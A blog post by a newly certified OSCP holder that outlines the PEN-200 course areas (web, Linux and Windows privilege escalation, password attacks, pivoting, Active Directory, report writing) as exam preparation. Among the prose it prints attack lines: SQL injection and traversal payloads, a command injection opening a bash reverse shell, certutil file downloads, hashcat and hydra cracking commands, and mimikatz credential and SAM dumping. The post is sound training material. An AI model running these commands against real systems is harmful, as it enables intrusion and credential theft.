

OSCP Technical Guide

2023-08-27

#hacking #oscp

On the 20th of August 2023, I took the OSCP exam. I finish the exam the next day, at 22:00, when I sent my report. The day after, at around midnight, I received the answer of my test.



This is to acknowledge that

Leonardo Tamiano

is certified as an

OSCP

(OffSec Certified Professional)

and successfully completed all requirements and criteria for said certification through examination administered by OffSec.

This certification was earned on

August 20, 2023



Validate



OSCP certification

Now, there is a lot to say about certifications in the world of tech. In this blog post I want to focus my attention on a particular

certification, the one I just took, my first certification ever, which is the OSCP (Offensive Security Certified Professional), an entry-level certification offered by **Offensive Security** within the context of penetration testing.

This blog post will be a technical discussion on the subjects treated by **PEN-200**, the course you need to follow in order to obtain the OSCP certification. My objective will be to give a meaningful outline to the material presented in the course. Given that this same material is used to prepare the machines you will meet in the exam, you can use this blog post as a preparation guide. If by reading this you feel like you already know most if not all of the things I will mention, then you are ready to tackle OSCP. Otherwise, take note of what you're still missing, and go practice on that.

We will break this discussion down into three different parts:

- **Pre-requisites:** What OSCP assumes you already know.
- **Material:** The core subjects taught by OSCP.
- **Expectations:** What the OSCP wants you to know at the end, and in particular, the skills you will be tested on during the final exam.

This blog post will purely be technical, meaning that I do not discuss the quality of the material itself. I will leave such topics, which are also personal to some extent, for later posts. Throughout the post I will use as a reference a cheatsheet I prepared for the final exam, available in my github profile

<https://github.com/LeonardoE95/OSCP>

UPDATE(2023-11-15): Since a few months ago I started an english youtube channel in which I'm covering these topics regarding OSCP and more. If you're interested in that, you can checkout my OSCP guide playlist

Youtube – Hexdump, OSCP Guide Playlist

Ok, now we can start!

Table of Contents

- Pre-Requisites
- Material
 - Web
 - Linux
 - Windows
 - Password Attacks
 - Using Existing Exploits
 - Port Forwarding and Pivoting
 - Client-Side Attacks
 - Active Directory
 - Report Writing
 - Misc
 - Challenge Labs
- Expectations
- Final Exam
 - Exam Structure
 - Bonus Points
 - Proctoring Setup
- That's it!

Pre-Requisites

In terms of pre-requisites, even though OSCP is often considered as an **entry-level** certification, OffSec states in their official page for PEN-200 – the courses one needs to follow in order to obtain the **OSCP** certification – the following pre-requisites

All learners are required to have:

Solid understanding of TCP/IP networking

Reasonable Windows and Linux administration experience

Familiarity with basic Bash and/or Python scripting

I translate this as follows: to actually be comfortable doing OSCP **you must have at least one to two years of prior experience with CTF-like challenges** using linux or windows.

This is not an absolute requirement, of course, as there are many factors to consider. Still, assuming an average learning growth, and also taking into account that **computer security can be really overwhelming the first few years**, it is safe to say that you should not try to obtain this certification if you have no idea about what it means in practice to perform a penetration test. I'm not talking about knowing terms and definitions. I'm talking about having a clear, down to earth, practice oriented picture of this activity, which takes time to develop, a lot of time.

Consider the following three scenarios:

- A server is exposing a **HTTP server** at **port 8080** vulnerable to a **directory traversal**. You must use this vulnerability to leak the **rsa keys** of one of the user within the machine to get inside the server.
- You're inside a target **linux** machine with a **reverse shell**, now it is time to **elevate your privileges**. You search the filesystem for **SUID** binaries, until you find a binary in the path **/opt/bin/custom-backup** . By extracting all the valid strings of the binary you realize the binary is vulnerable to a **PATH injection** attack. Exploit this to become **root**.
- You're analyzing the security of an **Active Domain** setup, and you just found a set of proper credential that authenticate to these domain. The domain also contains an ftp server and a web server. Your next objective is to obtain the credentials for the account which manages the web server by **kerberoasting** that account using the credential already found.

If by reading these scenarios you did not understand anything, not even remotely what we're talking about, then you're not ready for OSCP. Otherwise, the more you understand about these things, and the more ready you are for OSCP.

What if you have no idea but you still want to learn?

Practice on the various platforms available before tackling such certification. The platforms are many and ever growing. Some platforms that I used are **Hack The Box** and **Try Hack Me**. Just search for “OSCP preparation” and you will find plenty of answers.

Material

We can now tackle the most important question

What it is that OSCP is trying to teach you?

The **PEN-200 course**, the course behind the OSCP certification, has 25 modules. I would organize the content within these modules in the following big areas, plus one final area of miscellaneous stuff.

- **Web**
- **Linux**
- **Windows**
- **Password Attacks**
- **Using existing exploits**
- **Port Forwarding and Pivoting**
- **Active Directory**
- **Client-side Attacks**
- **Report writing**
- **Misc**

These areas can then be classified into two big classes

- **Technological Contexts**
 - Web
 - Linux
 - Windows
 - Active Directory
- **Techniques**

- Password Attacks
- Using existing exploits
- Port Forwarding and Pivoting
- Client-side attacks
- Report Writing

In all these areas, OSCP does not go too deep.

OSCP is about breadth, not depth

OSCP is about doing a little bit of the most common scenarios you will find during an infrastructure based penetration test. We're talking about **basic enumeration** and **basic exploitation**. You will never be asked to write a custom exploit. At most, you will have to make small changes to existing exploits. Still, even though the depth is limited, the sheer number of concepts is significant, and this depends on your initial preparation as well. This is why OSCP is not aimed at complete beginners. The ideal person taking OSCP would know at least a couple of technological contexts somewhat well, in order to focus the attention only on the remaining ones. I, for example, did not know much about windows and active directory, but I did know about the web and linux. This has allowed me to focus only on the parts I was missing while following the course.

The actual correlation between OSCP official modules and the areas I've just introduced is reported below for the sake of completeness

OSCP Module	Area
Copyright	misc
General Course Information	misc
Introduction To Cybersecurity	misc
Effective Learning Strategies	misc
Report Writing for Penetration Testers	Report Writing

OSCP Module	Area
Information Gathering	Web, Linux, Windows
Vulnerability Scanning	Web, Linux, Windows
Introduction to Web Application Attacks	Web
Common Web Application Attacks	Web
SQL Injection Attacks	Web
Client-side Attacks	Client-side Attacks, Windows
Locating Public Exploits	Using existing exploits
Fixing Exploits	Using existing exploits
Antivirus Evasion	misc
Password Attacks	Password Attacks
Windows Privilege Escalation	Windows
Linux Privilege Escalation	Linux
Port Redirection and SSH Tunneling	Port Forwarding and Pivoting
Tunneling Through Deep Packet Inspection	Port Forwarding and Pivoting
The Metasploit Framework	misc
Active Directory Introduction and Enumeration	Active Directory
Attacking Active Directory Authentication	Active Directory

OSCP Module	Area
Lateral Movement in Active Directory	Active Directory
Assembling the Pieces	misc
Trying Harder: The Challenge Labs	misc

In the course for each module there is a section of text, a series of exercises, and a series of videos. Personally I did not watch the videos, as it was much faster reading the text and doing the exercises. Some of the exercises were interesting, some others were boring. I suggest to do at least 80% of the exercises of each module in order to obtain the bonus points for the exam. This will give you more choices during the exam itself. I will come back to this point in the Final Exam section.

Let's now analyze the content covered by each area in more detail.

Web

With respect to the web environment, not much time is spent discussing the **TCP** and **HTTP** protocols. This means that one must have a good understanding of **computer networks** and of the most basic **network protocols**. The core focus with respect to the web environment is about discussing some of the most basic vulnerabilities that webapps can contain. Of these, the most important vulnerability is the **SQL injection**, which has an entire module dedicated.

- **SQL injection:** Allows an attacker to inject custom and potentially malicious SQL code that is then executed by the underlying database. This can lead to leakage of data or to **Remote Code Execution (RCE)** on the target server.


```
1 UNION SELECT first_name, password FROM users #
```

- `http://target.com/vuln?page=../../../../../../etc/passwd`
- `http://target.com/vuln?page=?page=%2F..%2F..%2F..%2F..%2F..%`



- http://target.com/vuln?page=../../../../../../etc/passwd
http://target.com/vuln?page=%2F..%2F..%2F..%2F..%2F..%2F..%2F



- **Remote File Inclusion (RFI):** Allows an attacker to insert within a page of the web server a file present in a remote resource, such as an attacker's custom we server.

`http://target.com/vuln?page=http://192.168.50.51/reverse.py`

- **File upload vulnerabilities:** Allows an attacker to upload files with malicious content that then can be used to leak data or to obtain RCE.
- **OS command injections:** Allows an attacker to injects custom and potentially malicious code that is then executed by the underlying OS.

`http://target.com/vuln?ping=192.168.50.51 ; bash -i >& /dev/tcp/192.168.50.51:80`



- **Cross-Site Scripting (XSS):** Allows an attacker to inject custom and potentially malicious javascript code that is then executed by the browsers of all clients who connect to a particular site or resource.

```
<script> alert(1); </script>
```

Various tools are mentioned and showcased, such as

- **gobuster**, for enumerating **virtual hosts**, directories, files and domain names.
- **sqlmap**, for automatically exploiting SQL injections.

- **BurpSuite**, for creating custom HTTP requests and analyzing the relative HTTP responses.

When it comes to tools, something I will also come back to at the end of the blog post, the important thing to understand is that during the learning you can use all type of tools, but

In the OSCP exam auto-exploitation tool are not allowed

In the context of web application, this means that for example you can use **gobuster**, as it only automates the enumeration process, but you cannot use **sqlmap**, as it would automate the exploitation process. In OSCP all exploitation has to be done manually, meaning that you have to be aware of every single command and payload that is being sent to the server. The only caviat to this is when we use full fledged exploits that attack a specific application. We're allowed to use exploits taken from exploit-db. I will come back to this point in the **Using Existing Exploits** section.

When hacking a server we typically have two steps:

- 1 The first step is called **foothold**, because it has to do with understanding how to get inside the server. To this end, one must study various network protocols such as the **TCP** and **HTTP** network protocols, as well as all the various web vulnerabilities that we already discussed. Once we find a vulnerability and we're able to exploit it to get a **reverse shell**, we are then able to execute code within the remote server.
- 2 At this point the second step comes in. This step is called **privilege escalation**, because it encompasses all the different ways an attacker can move from a low privileged account to an account with higher privileges.

Linux

While learning about the web and about other network protocols such as **FTP**, **SSH**, **SMB**, **RDP** and so on allows us to get a foothold within the remote machine, to then perform the second step, the **privilege**

escalation step, one needs to know about the underlying operating system used by the server. This is why another fundamental technological context that one must learn for the OSCP certification is **linux**. Here with the word “linux” I’m referring to a bunch of different things all of which can be found in modern linux distributions such as **debian, ubuntu, kali linux, arch linux** and so on.

To begin, one must be comfortable with using the terminal to do basic things such as:

- move between directories (**cd**)
- list files (**ls**)
- manage permissions (**chmod, chown, chgrp**)
- find files (**find**)
- understand environment variables
- understand the role of PATH
- understand how to work with privileges (**sudo**)
- understand SUID/GUID binaries
- understand how passwords are stored in linux (passwd and shadow files)
- understand cronjobs
- understand how to use basic tools (**ssh, ftp, curl, nc, python, gcc**)
- understand how to view processes and open ports (**ps, netstat**)

Notice that so these concepts are not related to exploitation. They’re just basic building blocks of knowledge regarding linux. Now, once all of these blocks have been understood, we can move on to exploitation techniques that can be used to **elevate privileges**.

While the web vulnerabilities are typically always the same, when it comes to privilege escalation, it’s hard to make a complete list of all the possible ways in which one can elevate its privileges. It all depends on the specific configuration of the remote machine. Having said that, there are still common attacks that deserve to be studied. Some (not all) of these techniques are listed below:

- PATH exploitation
- SUID binaries exploitations (<https://gtfobins.github.io/>)
- weak file permissions

- cronjob enumeration (<https://github.com/DominicBreuker/pspy>)
- sudo -l exploitation
- wildcard expansion

When we enter a new server, the vulnerability could be anywhere. Our objective is to find it and exploit it. This process of finding information about the system in order to discover its vulnerabilities is called **enumeration**. This concept is a core subject that OSCP wants to teach you. Remember that

OSCP is about enumeration

Enumeration can be done either manually, by executing a series of commands one after the other and reviewing their outputs, or automatically. To help enumeration efforts people have written various enumeration scripts which can be helpful to list all the possible checks we can perform, and which also signal to the user what kind of situation could be dangerous and should be looked at in order to attack the system. Some of these scripts are listed below

- linPEAS (my favorite)
- LinEnum

While these scripts can be useful, one should not rely on them too much, especially at the start, when it is more tempting to do so because of our ignorance. It's totally okay to use them, but in order for them to be actually useful we must have built a basic understanding as to what they actually are doing underneath it all. It's ok to be lazy and automate everything, but before doing that we must understand everything, or, at least, as much as possible.

Windows

Everything that I said about linux applies also to windows. After we get a reverse shell within a windows box we have to understand how to elevate our privileges. The difference between linux and windows of course is the underlying technological context. Even though many concepts apply to both operating systems, there are also many that do

not, especially considering that windows has never been a UNIX-like operating system.

Having said this, the feeling I have developed in these months is that, at least when it comes to OSCP, while privilege escalation in linux can vary a lot and is therefore harder to fully prepare for, the one in windows is more limited and straight forward. This is not to say that it will be easier than linux. I found it harder in windows, at the start, because I was already used to linux privilege escalation, but I had no idea how windows worked internally and I also did not know how to use the window shells, both **cmd.exe** and **powershell.exe**.

This is why no matter the area we're talking about, the first step to get right is always about becoming at least a little bit familiar with the underlying technological context. Understand how to do basic operations within the system and understand the basic functionality of the system.

For windows servers what's important to learn are the following basic building blocks

- **Basic enumeration of the system**

- operating system information
- user details and privileges
- groups
- network information
- running processes
- environment variables
- installed apps
- searching for particular filenames
- searching for history files
- understanding permissions
- how to transfer files
- understanding scheduled tasks

- **How to deal with services**

- get service info
- stop a service
- start a service

- restart a service

As always, we do not have to do everything manually. People have already written various enumerations scripts that can help you to discover possible miss-configurations and vulnerabilities. I have found and used the following ones:

- winPEAS
- PrivescCheck

In terms of actual attacks, there are a couple of attacks which are worth learning very well. These are listed below:

- **Abusing SeImpersonatePrivilege:** This privilege can be used using various exploits such as the PrintSpoofer exploit, or the GodPotato exploit. Having this privilege is typically a guaranteed way to become administrator, we just need to learn how to do it.
- **Service Hijacking:** These types of attacks have to do with service configuration. The idea here is that when windows executes a service, it calls a specific executable in a specific path. If we're able to swap the original executable with a malicious one, then we're able to execute malicious code with higher privilege. Depending on what we hijack we can have simple **binary hijacking**, where we hijack the final executable, or also **DLL hijacking**, where instead we hijack one of the shared libraries (called DLL in windows) that is used by the service executable.
- **Unquoted Service Paths:** Similar to service hijacking, instead of replacing the original service binary or one of its DLL we abuse the way windows executes services whos path contain spaces and it is not quoted, such as the one shown below

C:\Program Files (x86)\My Service\Official Release\service.exe

In the end though we still get code execution as a user with higher privileges.

As we can see, the core ideas in both linux and windows privilege escalation are very similar. It's just how these ideas are then actually performed that can become drastically different depending on the platform we're trying to attack.

Example (File transfer): Consider you just obtained your reverse shell on a windows server. You now want to transfer some files, like a static `ncat.exe` for future reverse shell. To this, we first create a temporary folder in `C:\`

```
mkdir C:\TEMP  
cd C:\TEMP
```

then, on our kali box, we launch a web server on the folder where we have all our malicious payloads and exeutables

```
cd ~/oscp-tools  
$python3 -m http.server 1337
```

at this point back in the victim windows machine we can either use **certutil.exe** as follows


```
certutil -urlcache -split -f "http://192.168.45.170:1337/ncat.exe" ncat
```



or the powershell **iwr** (Invoke-WebRequest) cmdlet

```
iwr -uri http://192.168.45.170:1337/ncat.exe -Outfile ncat.exe
```

Password Attacks

A set of important techniques to learn well is how to deal with passwords and in general with authentication mechanism. To start off, one must build a solid understanding of the concept of **hashing** and how to deal with **hashed passwords**.

Given that many different software protect passwords through hashing, the idea here is to build a repertoire of commands that will let us deal with all of these software in order to perform **password cracking** using well known **password wordlists**. When it comes to wordlists, from what I've understood the **rockyou.txt** wordlist will do enough when it comes to password cracking.

Some example are shown below

- **KeePass database**

```
keepass2john Database.kdbx > keepass.hash
```

```
hashcat -m 13400 keepass.hash rockyou.txt -r rockyou-30000.rule --
```

- ssh key



```
ssh2john id_rsa > ssh.hash  
hashcat -m 22921 ssh.hash rockyou.txt --force
```

In the chapter of active directory we will mention different attacks that can be performed within an AD environment. The result of some of these attacks is that we're able to obtain certain types of hashes. These can then be cracked offline depending on their type.

- NTLM hash

Copy

```
hashcat -m 1000 nelly.hash rockyou.txt -r best64.rule --force
```

- Net-NTLMV2 hash

```
hashcat -m 5600 paul.hash rockyou.txt --force
```

- AS-REP hash

```
sudo hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule
```



- Kerberoasting hash

```
sudo hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule
```



Another building block here is the idea not of password cracking but of **brute forcing authentication mechanisms**. Consider for example an FTP service, where we know the username but not its password. We might try a bunch of credentials in an automated way until we find the right one. Brute forcing is of course a very difficult thing to pull off in the real world, but given the CTF-like nature of OSCP, it is completely not off the table, and it might just happen. To this end, the course teaches you how to use the popular tool **hydra** to perform brute forcing attacks over various protocols (RDP, FTP, SSH), as well as over HTTP/HTTPS login forms.

```
hydra -l itadmin -I -P rockyou.txt -s 21 ftp://192.168.247.202
```

Using Existing Exploits

When it comes to OSCP, we can classify the vulnerabilities we need to use in order to exploit the targets into two main classes:

- Those that we can exploit manually on our own.

- Those for which we need an external and already written exploit.

Vulnerabilities of the first kind, like an **SQLi** found on a webapp which allows you to access information from the database that you can then use to leak some critical password, or a **LFI** which allows you to read the private ssh key of a user within the machine, typically require simple payloads. The payloads here are simple in the sense that they are stand-alone and atomic payloads. Once you find the right one, you're good to go. No need to write complex logic to exploit these vulnerabilities. All can be done manually, or, at most, with the help of basic tools such as **Burp Suite Community Edition**.

The other class of vulnerabilities instead is a different story. These vulnerabilities are not always trivial to exploit, and they typically require to be scripted in python or some other scripting language. Luckily for us, there's no need to write these exploits ourselves. This is because a key technique that the course is trying to teach you is the ability to

search and use already existing exploits

To this end, you will need to learn how to use the **searchsploit** tool, that uses the famous exploit-db platform as an underlying database of well known exploits. In general, you need to learn how to use search engines to enumerate the exploitable surface area of a given technology, searching for old **CVEs**, searching for **GitHub repositories**, and so on. In this search an "exploit" could be anything, going from a simple **notes.txt** detailing how to perform an **LFI** in a web application to a complex python script **exploit.py** that automatically executes the attack.

After your enumeration, if you meet a specific complex piece of technology, be it a web app, a windows service, or a weird linux ELF binary, try to search information on the web to see if in the past it has been exploited by other security researchers. Then, try to understand what kind of exploit are useful to you among the ones you found, and what kind simply do not matter. If I'm trying to elevate my privileges from user to root, I do not need exploits that trigger a **DoS** (Denial Of Service) within a webapp. I need other exploits, exploits that will let me elevate my privileges. This technique is all about

performing a correct enumeration. While it may seem easy to just use an already written exploit, there's still a significant learning curve in understanding which exploit to pick among the many, what needs to change within the exploit to make it work on your specific target, and in general when to give up using an exploit which seems to be the one but that in practice it does not seem to work. In order to read the majority of exploits, some fluency with `C` and `python` can help you a lot, although it is not required to be an expert in those languages.

Port Forwarding and Pivoting

The concept of **port forwarding** is a core technique that is taught by the course and is also required by the final exam. This is because in the final exam you will be tasked to complete an Active Directory set made up of three distinct machines. While the nature of the vulnerabilities depends on the specific exam set you get, their topology, from what I've understood, is roughly the same everytime (at least right now, in the 2023 edition). Graphically, the server are structured as follows



As we can see, we have three windows server, all ad-joined together in a single active domain. In terms of connectivity however only **MS01** can be accessed from our kali box. The other two servers, **MS02** and **DC01**, belong to a different network, an internal network that can be accessed only by **MS01**. The course teaches how to use **MS01** as a **pivot point** to move within the internal network. This can be done by using specific **port forwarding** techniques.

Port forwarding in itself is not a difficult thing, as it requires to know a couple of commands using existing tools. The difficulty in this

section has mostly to do with the conceptual understanding of how these tools work and how to interact with them. In terms of tools, the following ones are discussed in the course:

- **ssh**
- **sshuttle**
- **plink**
- **netsh**

In terms of preferences, the following two tools work well for all your needs:

- **ssh**
- **chisel**

To finish off, there are roughly four different port forwarding techniques, which are listed below:

- **Local Port Forwarding**
- **Dynamic Port Forwarding**
- **Remote Port Forwarding**
- **Remote Dynamic Port Forwarding**

I suggest to be familiar with all of these techniques. With respect to the exam, what you actually need is to create a **dynamic port forwarding**. This can be done with **chisel** in both windows and linux machines. To this end, you also have to learn about **proxchains**, how to configure it and how to use it.

Client-Side Attacks

Another important technique that the course teaches you is about **client-side attacks**. These form a really important class of attacks, as they represent an extremely useful and effective attack surface when trying to get within a corporate network.

In terms of the actual attacks, we find the following ones:

- **Cross-Site Scripting (XSS)**
- **Microsoft Word Macros**
- **Windows Library Files**

The first attack, the XSS, allows us to execute malicious javascript within the context of the victim client. This does not translate directly into code execution in the victim machine, since typically there are many abstraction layers with solid protection mechanisms between the javascript virtual machine that runs in the browser and the underlying OS. Having said that, XSS attacks can still be used to target specific web applications. We can for example try to steal administrator cookies, or perform actions using administrators privileges, such as creating a new privileged account.

The other two types of attacks instead have a bigger impact because there is a higher chance of actually executing code within the victim machine. Both of these attacks exploit Windows software and are therefore limited to the windows environment. I suggest you to learn how to carry both of these attacks, also considering that the importance of these techniques goes beyond the OSCP certification.

To finish off, remember that when it comes to these sort of attacks, they are usually not completely automated, meaning that we need a victim to perform certain actions, such as enabling macros within a word document or clicking an attachment within a received email. This means that we must pay careful attention to the setup of the attack. In these situations, even small details, such as the name of the file extension, or the graphical icon that appears in the file explorer of windows, can make a huge difference between a correct exploitation and a failed one.

Active Directory

The last, and arguable also one of the most important, technological context contained within OSCP is the **Active Directory** context. Learning AD will significantly increase your probability of passing the exam. This is because in the final exam the AD portion is worth 40 out of the 70 points you need to pass.

In terms of the content itself, there are three different modules that deal with Active Directory. These are:

- **Active Directory Introduction and Enumeration**

- **Attacking Active Directory Authentication**
- **Lateral Movement in Active Directory**

Now, AD is a huge topic, and when we have to deal with huge topic, its very common to feel lost and confused about how to approach these subjects. While the modules offered by the course can be seen as a simple introduction to AD, I would pay a lot of attention to everything that is mentioned within these modules. Do they cover all the things you need to learn about AD in general? Absolutely not. From my experience however the stuff they cover is the stuff you need to do the exam.

First of all, get familiar with the basic tools you need to perform **enumeration** and **lateral movement**. Some of these tools are:

- **crackmapexec**: This tool is extremely useful anytime we want to test some credentials with respect to known windows services such as **smb**, **winrm** or **rdp**. The tool is extremely flexible and easy to use.

```
crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD
crackmapexec smb IP -u USERNAME -H NTLM-HASH
```

- **evil-winrm**: This tool uses the **winrm** protocol to provide a very useful and functional shell.

```
evil-winrm -i IP -u USERNAME -p PASSWORD
```

- **sharpHound**: Tool used to collect all possible information from a given domain. The data collected is then visualized by another tool named **bloodHound**

- **bloodHound**: Tool used to visualize the data collected by **SharpHound**. Internally it uses the **log4j** graph database.
- **chisel**: already discussed in the Port Forwarding and Pivoting section.

In terms of the **exploitation** part, you should develop a good understanding of each of these attacks.

- **Kerberoasting**
- **AS-REP roasting**
- **DCsync attack**
- **Capture Net-NTLMv2 hashes with responder**
- **Relay Net-NTLMv2 hashes with ntlmrelayx**

Here for “good understanding” I mean that you should be able to perform these attacks if you need to. There are various tools that can be used to perform all of these attacks. I suggest to simply download and install the **impacket** project, as it contains various scripts that are able to perform all of these attacks. If you use the default image of kali linux you should have everything already installed by default. You can also checkout the **kerbrute** project, which is more oriented to brute force attacks, although I’ve never had to deal with such attacks during the course.

Another key tool to learn is **mimikatz**, which will quickly become your best friend during the AD part. This tool is used to dump various information from a system. Since the tool will look into processes which run with a high privilege level, it can be used in a meaningful way only after we become system administrator within a local windows server. I suggest looking at least at the following two commands:

- **Logon passwords** and **NTLM hashes**.

```
./mimikatz64.exe "privilege::debug" "sekurlsa::logonPasswords full
```



- **LSA memory content:** Where LSA stands for **Local Security Authority** and it is a special process which is responsible for authenticating users and verifying Windows logins.

```
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam"
```



Continuing, you should develop a good understanding of the two main authentication protocols used within an AD network, which are

- **NTLM based authentication**
- **Kerberos based authentication**

Armed with this knowledge, you should then learn the following techniques, which will allow you to move around the AD network and access resources that were previously blocked.

- **Pass the hash**
- **Overpass the hash**
- **Pass the ticket**
- **Golden ticket**

Armed with all of this knowledge, you should be able to be just fine when it comes to the AD portion of the exam. If you then want to dig a bit deeper, simply go to <https://ippsec.rocks/> and search for “active directory”. Still, remember

When it comes to OSCP, keep things simple

Report Writing

Report writing is one of the most difficult thing you will be doing in your exam. Even if you managed to correctly obtain all the flags,

writing about it will still be somewhat tedious and boring. There are many reasons for this, but among the many, one is that **writing requires going back and giving a structure to the activities you performed hours ago**, in what now seems like a distant past. The more you're tired from the previous exploitation, and the more tedious writing the report will be.

Having said that, writing the final report is also arguably one of the most important thing you will be doing in your exam, because in the end you will be graded based on the report alone. If you are not able to convey the information they want you to convey, you will not pass, even if you flagged everything.

So, let us cover the following aspects of report writing

- Notes taken during the exam
- Structure of the final report
- Tools to produce the final report

Notes taken during the exam

First of all, I highly suggest to **take detailed notes while doing the various machines, and not after**. OSCP machines are not complex, meaning that they do not require many steps one after the other. The depth of each machine is limited. This means that you do have the time to save the commands you use, and the best moment to do it is right after you do a step forward. Save any commands you used, any outputs you received, and any observation that you made, before and after the execution of the commands. If you become stuck, go back and review your notes. Command after command.

In terms of how to take these notes, everyone has their style and favorite tool of choice. In my particular case, I used **Emacs** and **org-mode** throughout the exam. The reason as to why it's simple: I'm used to Emacs, I used it everyday, and it makes me very efficient. When it comes to note taking in particular, I love the extreme flexibility offered by **org-mode**. But don't take my word for granted, other people have written about it as well

Structure of the final report

In terms of structure, OffSec requires you to include in the final report the following sections:

- **High Level Summary**
- **Methodology**
- **Step by step walkthrough**
- **Additional items**

The first section (**High Level Summary**) should provide a small description of the overall vulnerabilities found during the exam. They should also offer some high level remediation and some tips as to how to protect better the infrastructure.

Continuing, the second section (**Methodology**) is all about describing the tools and methodology used throughout the penetration test. Make sure you list out all the tools you used and why you used them.

The third section (**Step by step walkthrough**) is all about describing in a step-by-step fashion all the findings you were able to obtain while doing the exam. A key aspect is also to **highlight all vulnerabilities that you found**. For each vulnerability, you should report at least the following things

- **Vulnerability explanation**
- **Vulnerability fix**
- **Severity**
- **Steps to reproduce the attack**
- **Proof Screenshot**

The hardest part in this third section is to understand exactly what makes something a vulnerability. I'm not sure how strict OffSec is with respect to the report, but it's good to start practising report writing in this way.

Finally, the last section (**Additional items**) you can use as you like it to discuss additional things, such as **meterpreter usage**. I for example

put a table with all the flags obtained throughout the machines.

Tools to produce the final report

To finish off, let's tackle the problem of **tooling**. In particular, how can you generate the final artifact with minimal effort?

OffSec officially gives you two documentation templates, one written in **.docx** (Microsoft Word), and one written in **.odt** (Open Office/Libre Office). If you cannot deal with markdown, this will be your only alternative, so there's not much to say. You can find these templates here in the exam guide

OffSec – Suggested Documentation Templates

Given that I personally hate these sort of text editors because they strip me from all my speed, I searched for a possible alternative, and I found the following github project

<https://github.com/noraj/OSCP-Exam-Report-Template-Markdown>

I loved this project, because with this I was able to write the final report using **markdown**. This in turn meant that I could keep using my text editor of choice, which is **emacs**, and with this I did not lose any speed and efficiency, and the writing experience, while still being somewhat tedious and tiring, was not frustrating. For those interested about details, the project essentially uses **pandoc** in order to export the written markdown into a final pdf that you can then submit. Given that the project was written with OSCP and other OffSec certifications in mind, it also handles all the logic required to produce the correct final artifact with our specific identifications.

Starting from that github repo, I simplified it in order to extract the useful pandoc command that is used to go from markdown to pdf and I've written a simple bash script called **generate.sh** that wraps it in a few lines of code. You can find the script in github repo linked before. I've also extended the script to support files written in **org-mode**.

<https://github.com/LeonardoE95/OSCP/blob/main/report/generate.sh>

Below you can find the basic structure of the folder I used for the exam, which is also present in the github directory within the `report` folder.

<https://github.com/LeonardoE95/OSCP/tree/main/report>

```
[leo@archlinux report]$ tree -L 2
.
├── generate.sh
├── img
│   └── example_screen-300x225.png
├── report.md
└── report.org
```

2 directories, 4 files

The idea is simple: you write the final report within either the `report.md` file, if you like markdown, or `report.org` file, if you like org-mode, while all the screenshots go into the `img` folder. Then, when you're ready to generate the `pdf` file, you execute the `./generate.sh` script and give it as argument the name of the file you want to convert. Let's say we want to convert the markdown, then we do

```
[leo@archlinux report]$ ./generate.sh report.md
[INFO]: Checking requirements
[INFO]: All good, we're ready to generate!
[INFO]: md->pdf
[INFO]: Generated successfully, creating 7z archive!
[INFO]: MD5 of archive (0887ef0ff40310e729429d69454c72c4)
```

For those interested, below you can find the `pandoc` command used internally

```
pandoc $REPORT_MD_PATH -o $REPORT_PDF_PATH \  
  --from markdown+yaml_metadata_block+raw_html \  
  --template eisvogel \  
  --listing \  
  -V colorlinks=true \  
  -V linkcolor=orange \  
  -V urlcolor=orange \  
  -V toccolor=black \  
  --table-of-contents \  
  --toc-depth 6 \  
  --number-sections \  
  --top-level-division=chapter \  
  --highlight-style zenburn \  
  --resource-path=.:src \  
  --resource-path=./usr/share/osert/src
```

This command uses the `eisvogel` theme, which you can download with `wget` as follows

```
wget https://raw.githubusercontent.com/Wandmalfarbe/pandoc-latex-templa
```



After the script has finished to generate, we will see two more files in the directory

- OSCP-OS-99999999-Exam-Report.pdf
- OSCP-OS-99999999-Exam-Report.7z

The `pdf` is generated so that we can preview it, while the `7z` archive is the final artifact we can directly upload to OffSec. Here within the filename of both files the `99999999` represents the `OSID`, which is a unique identifier that OffSec gives you when they give you access to the lab. To change it, edit the `OSID` variable within the `generate.sh` script

```
# CHANGE, with your OSID value  
OSID=99999999
```

Finally, the scripts also computes the `MD5` value of the archive, which can be compared to the one computed by OffSec during the upload procedure to make sure we've uploaded the correct file.

```
[INFO]: Generated succesfully, creating 7z archive!  
[INFO]: MD5 of archive (0887ef0ff40310e729429d69454c72c4)
```

You can see an example of the produced PDF at the following link

`OSCP-OS-99999999-Exam-Report.pdf`

Misc

To finish off, there are some modules that are simply not required for the exam itself. These modules are listed below, and I've grouped them within the **misc** area.

- Copyright
- General Course Information

- Introduction To Cybersecurity
- Effective Learning Strategies
- Antivirus Evasion
- The Metasploit Framework
- Assembling the Pieces
- Trying Harder: The Challenge Labs

The first modules in this list are introductory notes and general notes about learning. Something that can be interesting in its own right, but that I do not think it's particularly useful when it comes to the exam itself.

Then we find the discussion about antivirus evasion, which is also definitely interesting, but, once again, not really useful for the final exam. The topic also is only partially covered, as there is a specific certification for that, which is the **OSEP** cert.

Continuing, we find the chapter on the metasploit framework. Definitely interesting, but not for exam purposes. During the exam we can use metasploit, but only for a single machine, meaning that once we used it on a machine we cannot use it on a different machine. In general however there is no need to use metasploit, so I suggest to simply not use it at all.

Finishing off, the module **Assembling the Pieces** describes an example of a penetration test from start to finish. It shows how to perform various activities and for that it can be useful. The last module then describes how to move forward with the labs, a very useful environment in which to learn all the techniques described so far.

Challenge Labs

In order to prepare well for the exam, all the techniques discussed in the previous section must be tried in real working environments. One of the most useful things offered by the course is the presence of six **challenge labs**. Each of these lab contains various machine connected within an internal network that can be attacked with the techniques showcased in the course.

The useful aspect of the challenge labs is that there is no guidance in them. No one that tells you what you should do. Therefore, I suggest you spend a lot of time in these labs. The labs are 6, and you should do them in the following order:

- **Medtech**
- **Relia**
- **OSCP-A**
- **OSCP-B**
- **OSCP-C**
- **Skylark**

The **OSCP-A**, **OSCP-B** and **OSCP-C** are extremely useful to do before an exam attempt, because they offer the same structure you will find in the final exam. I suggest you take your time and try to simulate a 24 hours exam for at least one of these sets. Remember also to take note of every command you use in the completion of these labs, and use this experience in order to build a personal cheatsheet with all the commands you will need in the final exam.

Prepare, do not improvise.

If you get stuck and have no idea on how to move forward, check out the official **OffSec Discord**. It is an extremely helpful place to get hints when lost.

Expectations

When studying for a certification such as the OSCP you should always ask yourself

What am I being tested on?

The more precisely you can answer the question, and the higher the probability you will pass the exam. For the specific case of OSCP, I have observed that what OffSec wants you to develop while learning through their PEN-200 course are the following keypoints:

